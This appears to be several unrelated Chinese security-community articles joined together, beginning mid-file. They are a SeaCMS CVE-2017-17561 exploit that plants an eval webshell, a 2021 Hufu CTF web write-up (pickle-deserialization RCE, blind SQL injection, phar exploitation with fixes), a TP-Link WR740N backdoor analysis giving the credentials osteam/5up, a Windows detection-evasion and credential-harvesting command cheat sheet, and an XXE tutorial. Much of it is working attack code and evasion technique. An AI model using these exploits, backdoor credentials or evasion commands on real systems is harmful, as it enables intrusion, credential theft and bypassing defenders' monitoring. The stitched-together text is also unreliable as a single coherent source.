"admin_path": {"default": "admin", "necessity": True},
# "session_auth": {"default": True, "necessity":True},
"session_id": {"default": "", "necessity": True},
# "admin_user": {"default": "admin", "necessity":True},
# "admin_pwd": {"default": "admin", "necessity":True},
"webshell": {"default": "eval($_REQUEST[__PASSWORD__])", "necessity": True},
"shell_pwd": {"default": "c", "necessity": True},
"interactive": {"default": True, "necessity": True}
}
# 如果该漏洞可以 GetShell, 该变量存储 shell 的 url
webshell_url = ""
session = requests.Session()
def __init__(self):
pass
def exploit(self):
'''
漏洞利用的核心代码, 在此函数中完成漏洞利用
'''
Log.info("Lauching the exploition...")
host = self.get_config("remote_host")
port = self.get_config("remote_port")
admin_path = self.get_config("admin_path")
# session_auth = self.get_config("session_auth")
session_id = self.get_config("session_id")
# username = self.get_config("username")
# password = self.get_config("password")
webshell_password = self.get_config("shell_pwd")
webshell = self.get_config("webshell").replace(
"__PASSWORD__", webshell_password)
url = "http://%s:%d/%s/admin_ping.php?action=set" % (
host, port, admin_path)
data = {
"weburl": "www.seacms.net",
"token": "123456789\";$var=%s.\"" % (webshell)
}
cookies = {
"PHPSESSID": session_id
}
Log.info("Data: %s" % (data))
Log.info("Session: %s" % (cookies))
try:
response = requests.post(url, data=data, cookies=cookies)
self.webshell_url = "http://%s:%d/data/%s/ping.php" % (
host, port, admin_path)
if response.status_code == 200:
Log.success("Exploit success!")
Log.success("Webshell is stored at: %s" % (self.webshell_url))
Log.success("Password is %s" % (webshell_password))
if self.get_config("interactive") == True:
self.interactive()
return True
else:
return False
except Exception as e:
Log.error(str(e))
return False
def show_options(self):
'''
输出该模块的选项信息 (即之前定义的 config)
由 options 命令触发
通常不需要改动
'''
Log.warning("Options\t\tNecessity\t\tDefault")
Log.warning("-------\t\t---------\t\t-------")
for key in sorted(self.config.keys()):
Log.warning("%s\t\t%s\t\t\t%s" % (
key, self.config[key]["necessity"], self.get_config(key)))
def set_config(self, key, value):
'''
对模块的参数进行修改
由 set 命令触发
通常不需要改动
'''
if key in self.config.keys():
self.config[key]["default"] = value
else:
Log.error("No such option!")
def get_config(self, key):
return self.config[key]["default"]
def interactive(self):
'''
在成功拿到 WebShell 之后, 可以利用该函数获得一个伪终端
这里判断了 webshell_url 这个变量是否为空
因此, 在拿到 webshell 地址后, 需要将 webshell_url 进行设置
'''
if self.webshell_url == "":
Log.error("Webshell is dead!")
return
while True:
command = raw_input("$ ")
if command == "exit":
break
data = {
self.get_config("shell_pwd"):"system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", ""))
}
print data
try:
Log.success(self.session.post(self.webshell_url, data=data).content)
except Exception as e:
Log.error(str(e))
return False
def show_info(self):
'''
模块(漏洞)的详细信息, 包括名称, 影响版本, 作者, 参考链接等等
该函数在模块被加载的时候自动调用
需要将其中的信息修改为对应的模块信息
'''
Log.info("Name: SeaCMS(6.56) Authenticated GetShell (CVE-2017-17561)")
Log.info("Effected Version: <=6.56")
Log.info("Author: WangYihang")
Log.info("Email: [email protected]")
Log.info("Refer:")
Log.info("\thttps://gist.github.com/WangYihang/9507e2efdceb67a5bc2761200f19f213")
Log.info("\thttps://nvd.nist.gov/vuln/detail/CVE-2017-17561")
def main():
'''
测试用例
'''
exploit = Exploit()
exploit.show_info()
exploit.set_config("remote_host", "192.168.187.1")
exploit.set_config("session_id", "b6aia8tltrqtie7h0pjojelml3")
exploit.set_config("shell_pwd", "hacker")
exploit.show_options()
exploit.exploit()
if __name__ == "__main__":
main() | 社区文章 |
# 2021虎符CTF 线下赛 Web Write Up
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## easyflask
从`/proc/self/environ`
获取环境变量发现里面有`secret_key`可以拿这个`secret_key`伪造session，从而触发源码中的pickle反序列化实现RCE
Exp
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import pickletools
import requests
url = "http://dadc77b3-9752-430c-88f7-30055e8b9f2a.node3.buuoj.cn"
#url = "http://127.0.0.1:80"
def get_secret_key():
target = url + "/file?file=/proc/self/environ"
r = requests.get(target)
#print(r.text)
key = re.findall('key=(.*?)OLDPWD',r.text)
return str(key[0])
secret_key = get_secret_key()
#secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
print(secret_key)
class FakeApp:
secret_key = secret_key
class User(object):
def __reduce__(self):
import os
cmd = "cat /etc/passwd > /tmp/eki"
return (os.system,(cmd,))
exp = {
"b":base64.b64encode(pickle.dumps(User()))
}
#pickletools.dis(pickle.dumps(User()))
#print(pickletools.dis(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
#{'u': b'\x80\x03cprogram_main_app@@@\nUser\nq\x01)\x81q\x01.'}
#{'u':b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94.'}
{'u':exp}
)
print(cookie)
headers = {
"Accept":"*/*",
"Cookie":"session={0}".format(cookie)
}
req = requests.get(url+"/admin",headers=headers)
#print(req.text)
req = requests.get(url+"/file?file=/tmp/eki",headers=headers)
print(req.text)
### 修复思路
把任意文件读修复就行，赛方的exp应该是每次手动拿secret_key,但是线下的时候以为这个点是正常业务，一直没修成功，心态崩了。
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = 'you_find_secret_k3y_c0ngratulations'
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return render_template('index.html')
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
if path.startswith("/"):
return 'disallowed'
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path or "proc" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
if "R" in u:
return 'uhh?'
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=True)
## hatenum (BUUOJ 复现)
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}
}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}
}
}
function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}
function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}
function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}
ban了`'` 但是可以通过前后参数联合逃逸
同时可以利用mysql的exp溢出进行盲注
url = "http://fa57e15a-3cf4-449b-832a-120cca2c6884.node3.buuoj.cn"
data = {
"username":"eki\\",
"password":"||1&&exp(710)#",
"code":"1"
}
req = r.post(url+"/login.php",data=data,allow_redirects=False)
print(req.text)
#error
#exp(709) login fail
url = "http://fa57e15a-3cf4-449b-832a-120cca2c6884.node3.buuoj.cn"
data = {
"username":"eki\\",
"password":"||1&&exp(710)#",
"code":"1"
}
req = r.post(url+"/login.php",data=data,allow_redirects=False)
print(req.text)
#error
#exp(709) login fail
import requests as r
import string
url = "http://fa57e15a-3cf4-449b-832a-120cca2c6884.node3.buuoj.cn"
pt = string.ascii_letters+string.digits+"$"
#/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i
#select * from users where username='$username' and password='$password'
def str2hex(raw):
ret = '0x'
for i in raw:
ret += hex(ord(i))[2:].rjust(2,'0')
return ret
ans = ""
tmp = "^"
for i in range(24):
for ch in pt:
#payload = f"||1 && username rlike 0x61646d && exp(710-(23-length(code)))#".replace(' ',chr(0x0c))
payload = f"||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+ch)}))#"
#print(payload)
payload = payload.replace(' ',chr(0x0c))
data = {
"username":"eki\\",
"password":payload,
"code":"1"
}
req = r.post(url+"/login.php",data=data,allow_redirects=False)
if 'fail' in req.text:
ans += ch
print(tmp+ch,ans)
if len(tmp) == 3:
tmp = tmp[1:]+ch
else:
tmp += ch
break
'''
^e e
^er er
^erg erg
ergh ergh
rghr erghr
ghru erghru
hrui erghrui
ruig erghruig
uigh erghruigh
igh2 erghruigh2
gh2u erghruigh2u
h2uy erghruigh2uy
2uyg erghruigh2uyg
uygh erghruigh2uygh
ygh2 erghruigh2uygh2
gh2u erghruigh2uygh2u
h2uy erghruigh2uygh2uy
2uyg erghruigh2uygh2uyg
uygh erghruigh2uygh2uygh
'''
rev_ans = ""
tmp = "$"
for i in range(24):
for ch in pt:
#payload = f"||1 && username rlike 0x61646d && exp(710-(23-length(code)))#".replace(' ',chr(0x0c))
payload = f"||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(ch+tmp)}))#"
#print(payload)
payload = payload.replace(' ',chr(0x0c))
data = {
"username":"eki\\",
"password":payload,
"code":"1"
}
req = r.post(url+"/login.php",data=data,allow_redirects=False)
if 'fail' in req.text:
rev_ans = ch+rev_ans
print(ch+tmp,rev_ans)
if len(tmp) == 3:
tmp = ch+tmp[:-1]
else:
tmp = ch+tmp
break
'''
g$ g
ig$ ig
2ig$ 2ig
32ig 32ig
u32i u32ig
iu32 iu32ig
uiu3 uiu32ig
3uiu 3uiu32ig
23ui 23uiu32ig
h23u h23uiu32ig
gh23 gh23uiu32ig
igh2 igh23uiu32ig
uigh uigh23uiu32ig
ruig ruigh23uiu32ig
hrui hruigh23uiu32ig
ghru ghruigh23uiu32ig
rghr rghruigh23uiu32ig
ergh erghruigh23uiu32ig
'''
data = {
"username":"admin\\",
"password":"||1#",
"code":"erghruigh2uygh23uiu32ig"
}
req = r.post(url+"/login.php",data=data)
print(req.text)
因为没找到绕过拼接字符串的方法，题目中又对hex长度进行了限制，所以每三位推一位，最开始三位通过`^`和`$`的方式来匹配。
正着倒着结合一下就能拿到23位的code`erghruigh2uygh23uiu32ig`
### 修复思路
直接把sql全换成预处理形式防止注入
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->prepare("select * from users where username=?");
$res->bind_param("s", $username);
$res->execute();
#$res = $this->conn->query();
#$res->bind_result($district);
$res->fetch();
if($res->num_rows>0){
return True;
}
else{
return False;
}
}
function register($username,$password,$code){
$res = $this->conn->prepare("insert into users (username,password,code) values (?,?,?)");
$res->bind_param("sss", $username,$password,$code);
$res->execute();
#$res = $this->conn->query();
#$res->bind_result($district);
if($res->execute()){
$res->fetch();
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->prepare("select code from users where username=? and password=?");
$res->bind_param("ss", $username,$password);
$res->bind_result($code2);
$res->execute();
$res->fetch();
#$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
#$content = $res->fetch_array();
#var_dump($code2);
if($code2===$_POST['code']){
$_SESSION['username'] = $username;
return 'success';
}
else{
return 'fail';
}
}
}
}
function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}
function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}
function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}
## tinypng (BUUOJ 复现)
是一个laravel框架的题
那么首先关注路由和控制器
<?php
use Illuminate\Support\Facades\Route;
/*
|-------------------------------------------------------------------------- | Web Routes
|-------------------------------------------------------------------------- |
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
use App\Http\Controllers\IndexController;
use App\Http\Controllers\ImageController;
Route::get('/', function () {
return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');
//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
这俩路由分别指向`IndexController`和`ImageController`
`fileupload`能上传，文件名文件类型不可控
class IndexController extends Controller
{
public function fileUpload(Request $req)
{
$allowed_extension = "png";
$extension = $req->file('file')->clientExtension();
if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
{
$content = $req->file('file')->get();
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}else {
$fileName = \md5(time()) . '.png';
$path = $req->file('file')->storePubliclyAs('uploads', $fileName);
echo "path: $path";
return back()
->with('success', 'File has been uploaded.')
->with('file', $path);
}
} else{
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}
}
}
image对文件调用了`imgcompress`
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
}
跟进可以发现调用了
/**
* 内部：打开图片
*/
private function _openImage()
{
list($width, $height, $type, $attr) = getimagesize($this->src);
$this->imageinfo = array(
'width' => $width,
'height' => $height,
'type' => image_type_to_extension($type, false),
'attr' => $attr
);
$fun = "imagecreatefrom" . $this->imageinfo['type'];
$this->image = $fun($this->src);
$this->_thumpImage();
}
那么很明显利用的思路就是上传一个phar文件通过`getimagesize()`触发phar反序列化了
但是要绕过之前的
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
}
这里用`gzip`或者`bzip2`压缩的方式就可以绕过检测
链子直接phpggc一把梭
phpggc Laravel/RCE6 "phpinfo();" --phar phar > test3.phar
gzip test3.phar
mv test3.phar test3.png
### 修复思路
phar反序列化需要用到phar协议，那么在image路由处把phar协议ban了就行
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(preg_match('/phar/i', $str)){
die('Hack detected');
}
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
} | 社区文章 |
**作者：IOTsec-Zone
原文链接：<https://mp.weixin.qq.com/s/SWFLV6H1zKWQyvnC0JGGhg>**
## 0x00 描述
> 测试环境：Ubuntu 18.04
>
> 固件版本：wr740nv1_en_3_12_4_up(100910).bin
>
> 产品厂商：TP-Link
>
> 厂商地址：<https://www.tp-link.com.cn/>
>
> ZoomEye搜索app：TP-LINK TL-WR740N WAP httpd
> <https://www.zoomeye.org/searchResult?q=app%3A%22TP-LINK%20TL-> WR740N%20WAP%20httpd%22>
## 0x01 固件分析
将固件下载到Ubuntu中，使用命令binwalk进行解包，拿到固件的文件系统
这里介绍一个常用的小工具 firmwalk.sh，工具下载链接 <https://github.com/craigz28/firmwalker>
1. 它将搜索固件文件系统，以获取与敏感信息相关的东西，如：etc/shadow and etc/passwd
2. 列出 etc/ssl等目录
3. 搜索相关的文件，如. pem,. crt, 等
4. 搜索配置文件
5. 查找脚本文件
6. 搜索其他.bin 文件
7. 查找诸如管理员，密码，远程等关键字符
8. 搜索IoT设备上使用的通用网络服务器
9. 搜索常见的二进制文件，如 ssh，tftp，dropbear等
10. 搜索网址，电子邮件地址和IP地址
接下来我们使用工具firmwalker对提取的固件进行扫描
通过上面的信息可以得到很多关键信息，这里我们着重查看图片上的几处关键信息
* 可以看到对于路由器的相关URL应该是/web/userRpm/xxxxx.htm这种，那么我们就可以合理的猜测，这应该是web服务相关的命令规范
* 含有passwd和pwd相关的文件中，可以看到嵌入式web服务httpd，部分htm文件以及其他配置文件
可以看到它把固件的敏感信息都列举出来了，先不着急对文件进行分析，接下来我们看一下启动项有没有启动什么后门服务，如telnet服务等
一般启动项文件都位于etc目录下面，我们到etc目录下面进行查看
根据嵌入式Linux常用启动项位置可以确定启动项文件就位于rc.d这个目录里面，打开此目录对里面的文件进行分析
可以看到他的Http服务都在httpd这个文件中，启动项没有其他的异常行为
那我们通过find命令查找一下这个文件的所在位置
可以看到文件在/usr/bin目录下面我们将文件移动到IDA中进行分析
## 0x02.IDA逆向分析
根据firmwalker收集到的跟passwd先关的文件就包含httpd二进制应用，这里我们直接在字符串窗口搜索passwd字符串
可以看到和passwd先关的字符串还有很多，那么我们可以逐个进行追踪
在这里可以看到passwd被调用的位置，直接双击箭头向上追踪
简单查看便可以很多硬编码的敏感字符串，使用F5生成伪C代码
可以看到在进行用户名和密码的比对，并且用户名和密码为osteam和5up，那么可以猜测这里应该是和某种认证相关
通过httpGetEnv函数的第二个参数名称cmd，可以猜测这应该是执行命令的地方
接着可以看到write函数调用了pty来模拟命令的执行
（知识扩充：伪终端(pseudo terminal，有时也被称为 pty)是指伪终端 master 和伪终端 slave 这一对字符设备。其中的 slave
对应 /dev/pts/ 目录下的一个文件，而 master
则在内存中标识为一个文件描述符(fd)。伪终端由终端模拟器提供，终端模拟器是一个运行在用户态的应用程序。）
根据当前函数DebugResultRpmHtm，追踪调用的位置
这里可以看到使用httpRpmConfAdd函数进行url和执行函数的定义，这里看到当前函数为httpDebugInit，似乎是进行Debug调试的，接着可以看到有一个linux_cmdline.html的页面
一看到这个页面可以其能执行系统命令，可以确定linux_cmdline.html似乎是一个后门，但是想要执行命令还需要用户名和密码，根据上面的分析我们可以确定用户名为osteam和密码5up的账户为后门登录的账号和密码
## 0x03 漏洞验证
> 工具下载地址：<https://github.com/pr0v3rbs/FirmAE>
接下来我们去验证上面我们的猜想，接下来我们就对固件进行模拟
这里推荐使用工具FirmAE，为什么推荐呢？这个工具使用高度集成化的操作，只需要使用一条命令即可对固件进行模拟，比起使用qemu来模拟固件方便快捷了很多
可以看到固件模拟成功，浏览器进行访问<http://192.168.1.1/userRpmNatDebugRpm26525557/linux_cmdline.html>
可以看到需要授权，使用默认的账号密码进行登录
输入用户名，密码以及要执行的命令，可以看到成功执行并返回了相应的结果
## 0x03.总结
通过上面的分析，可以看到信息收集对我们漏洞分析和漏洞挖掘有很大的帮助，通过敏感的信息，我们能更快的定位到漏洞产生的位置，并且我们掌握的信息越多，越能加快漏洞分析和漏洞挖掘的速度和效率。
* * * | 社区文章 |
# 前言
此前一个朋友问到，客服的hids设备执行whoami，被检测到，无论是执行wh"o"aM^i，还是执行cmd /c
",;((w^h^o^a^M^i))"都会被检测到，于是向我求助，既然提到了这里，阿鑫就在这里简单总结一下我自己的一些方法吧，但是会的方法有比较少，后面在补充几个cmd/powershell平时常用的命令
# 技巧
（1）特殊符号/大小写
我们的"双引号，^尖角号，括号，逗号，分号，只能绕过一些常规的
也可以用一些非主流特殊字符串
certutil /⸿split -urlcache -f <http://192.168.1.102:1337/axgg.txt> axgg.txt
（2）环境变量
当我们拿到一台机器，可以先set看看有哪些环境变量
就这样，%comspec:~3,1%hoa%comspec:~21,1%i，用我们环境变量的字母替换了w和m
稍微解释哈，这里用环境变量截取字母第三位和第二十一位的w和m来绕过
当然，我们也可以自己设置环境变量，来达到绕过
set a=cmd /c whoami
%a%即可
环境变量当然也可以配合我们的各类特殊符号，"双引号，^尖角号，括号，逗号，分号组合在一起，也是可以达到同样的效果的，cmd /c “ set
a1=ser&& set a2=ne&& set a3=t u&&call echo %a2%%a3%%a1%”
^c^M^D, , , , /^c", ,(, , , , , (s^et ^ w^3=i^pco) , )&& (S^Et ^ eH^P=n^fig)&
, , C^aLl, sE^t GyHE=%w^3%%eH^P%& , , %LoCaLAPpdata:~
-3,+1%%pRoGramw6432:~9,1%d, ,/^R, , %Gy^HE%"
（3）for循环，这个单独用很鸡肋
for /f "tokens=4 delims=\" %f in ("c:\windows\system32\whoami\") do %f
delims是以\分割，tokens是第几次分割，我们的第四次分割就是whoami，然后打印
（4）利用powershell
利用powershell的base64编码
当然，还可以fuzzing一下低版本的powershell
powershell -version 3/2/1
利用windows的api
Get-WmiObject -Class Win32_UserAccount //怎么绕，也可以用前面的特殊符号和环境变量
利用注册表
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server
Client\Servers" -Name
既然说到了powershell，这儿就简单提一提powershell的混淆思路，我就直接截图吧，比较简陋
（5）运用工具Dosfuscation
Invoke-DOSfuscation //启动
TUTORIAL //开启模块
SET COMMAND whoami //加密你想执行的命令
# 关于cmd/powershell平时会用到的一些命令
（1）主机信息
qwinsta //查看在线用户
wmic logicaldisk where DriveType=3 get DeviceID //查看系统的盘符
wmic useraccount get name,sid //查看所有用户的sid
cacls c:\ //查看c盘的权限配额
cacls c:\windows\ma.exe //查看ma.exe的权限配置
icacls C:\Windows //查看文件的ACL情况
nbtstat -A 127.0.0.1 //查看其他主机的bios名
Get-WmiObject -class win32_product |Select-Object -Property name,version：收集主机的软件版本信息
(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.149.135").UsernameHint //本机哪个用户登陆了此IP
Get-WinEvent -FilterHashtable @{logname="Application";} 查看application日志
Get-CimInstance Win32_DCOMApplication //查看DCOM文件
（2）横向信息
netsh wlan show profile //查看连结过的wifi
netsh wlan show profile WiFi-name key=clear 获取对应 wifi 的密码ie 代理 //对应wifi的密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear //所有wifi密码
for /l %i in (1,1,255) do @ping 172.16.0.%i -w 1 -n 1 | find “TTL=” //windows自带的网段扫描
for /l %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /l %b in (1,1,255) do start cmd /c "ping 172.29.%a.%b -l 1 -n 1 -i 1 >172.29.%a.%b.txt" //多线程版
findstr /s /m "password" *.* //查找当前目录的子目录的所有含有password的文件夹
dir c:\a.txt /s /b //查找c盘的a.txt
Get-Content (Get-PSReadlineOption).HistorySavePath //powershell命令历史记录，如果命令用不起，可以查看powershell的txt
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
注册表
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers 这个为当前用户的mstsc的记录，username为用户名
HKEY_CURRENT_USER\Software\Microsoft\Windows Script\Settings\AmsiEnable 禁用AMSI(需要高权限)
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your connection name> MYSQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your connection name> MariaDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your connection name> MongoDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your connection name> Microsoft SQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your connection name> Oracle
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your connection name> PostgreSQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your connection name> SQLite
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver RealVNC
HKEY_CURRENT_USER\Software\TightVNC\Server Value //TightVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 TigerVNC
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions WinSCP
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /s //查看桌面目录
reg query 计算机\HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs //查看浏览记录
查找本机所有有关密码的字段
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
copy x.jpg/b+12.php 3.jpg //制作一句话
iexpress //windows自带的解压命令
makecab.exe //windows自带的压缩命令
makecab 1.doc 1.zip //压缩成啥看自己，zip,rar,cab
expand 1.zip 1.doc //解压命令
dir /b >>name.txt //先把要解压的多个文件名写入txt
makecab /f name.txt /d maxdisksize=1024000 //然后压缩
expand 1.cab -f:* c:\test\ //然后解压
set http_proxy=http://127.0.0.1:1080 //给cmd代理
secpol.msc //打开本地安全策略
taskkill /pid 1080 /f //关闭进程
copy *.txt 1.txt type 1.txt //将该目录下的所有txt复制到1.txt，然后查看1.txt
mstsc /admin /v:ip mstsc /console /v:ip //远程连接
certutil.exe -hashfile 1.txt //计算文件hash
attrib C:\test.exe +s +h //隐藏exe
>>b.txt set/p="123" < nul //关于echo >>追加下一个字符串自动换行，绕过/n的限制
net share everyone=C:\Windows /grant:everyone,full //开启共享
echo 123 > axgg::$INDEX_ALLOCATION //文件流创建文件
rd axgg::$INDEX_ALLOCATION //删除改文件
# 后记
若文章有错误亦或者遗漏的技巧，还望各位师傅斧正和补充 | 社区文章 |
## Bugbounty: 在Bol.com上的XXE漏洞
原文链接：<https://medium.com/@jonathanbouman/xxe-at-bol-com-7d331186de54>
这个漏洞的赏金不算太高，但是相比于其他人XXE漏洞，更具有代表性，漏洞猎人上传带有XXE代码的excel进行攻击。
### 背景
在前面的报告中，我们学到了一些关于访问者在的浏览器中进行代码执行的知识，反射型XSS，存储型XSS，服务器的错误配置和重定向等漏洞。
今天我们将仔细研究从服务器窃取私有文件。
### 挑选目标
一如既往，我们需要有一个好的目标。
Bol.com是荷兰最大的电子商务网站之一。他们处理我的重定向漏洞报告的方式非常好; 快速回复，正确修复并始终向我发送更新。
在开始之前，我们首先需要了解有关XXE，LFI和RCE的更多信息。在那之后我们准备好了！
XXE，LFI，RCE; 这些是什么意思？
本地文件包含（LFI）是在服务器响应中显示内部服务器文件的过程。远程执行代码（RCE）是在服务器上执行我们自己的代码的过程。
通常LFI错误会导致RCE; 有很多技巧可以用来将LFI升级到RCE；
RCE错误影响很大，因为它可能导致完整的服务器接管。尽管大多数服务器在访问受限的帐户下执行来自Web服务器的代码，但在操作系统本身中
仍然存在时不时的缺陷。允许一个人绕过此特定访问限制的缺陷，你过去可能使用过存在这种漏洞的应用，iPhone或者安卓。
这两个完美的例子都是通过利用这种漏洞来接管操作系统。我们将此类攻击特权称为升级。
XML外部实体（XXE）攻击基于扩展XML文件，以便加载本地文件和外部URL。它可能导致LFI和RCE，因此它具有很高的影响力。
虽然在 2002年被发现，但它仍然是你现在在很多网站上都会发现的一个错误。高影响力和高发生率，让我们了解更多！
可扩展标记语言（XML）
在我们继续之前，我们需要更多地了解XML。
XML是一种标记语言，允许用户创建易于被计算机和人类阅读的文档。虽然有人说它是过去的语言，但它现在仍在很多地方使用。
**XML文件的示例**
如果我们仔细查看该示例，我们会注意到内容将出现在标签之间，例如`<body>contents</body>`。因此，我们应该转义标签内的特定字符。
否则，一个人能够注入一个标签并操纵整个XML文件，没人会想要。默认情况下，XML转义`<>&'"`字符到实体一样`<>&'"`。
因此，我们仍然可以在不破坏XML文件的情况下使用字符。
XML有一个很好的功能，它允许我们通过在XML文档中包含Document类型定义（DTD）来定义我们自己的实体。查看示例图像。
**自定义实体的示例**
示例DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY body "Don't forget me this weekend!">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>
利用XML解析器
但是如果解析器允许我们定义文件而不是字符串呢？结果将是实体将被文件的内容替换。通过更改
`<!ENTITY body "Don't forget me this weekend!">`为`<!ENTITY body SYSTEM
"file:///etc/passwd">`一些解析器将向我们显示`/etc/passwd`文件的内容。
**Chrome XML解析器将替换＆body; 我们定义的字符串的实体**
除了LFI，一些XML解析器还允许我们加载外部URL; 只需用`URL` 替换`file://`字符串即可`http://`。网络服务器将请求此URL。
这可能会导致称为服务器端请求伪造的攻击; 您可以请求内部Web服务器，扫描开放端口并映射内部网络。您是否能够访问包含元数据的
本地Web服务器？恭喜你，你最终可能得到$25.000的赏金。
其他可能性是通过PHP模块直接RCE和拒绝服务攻击。
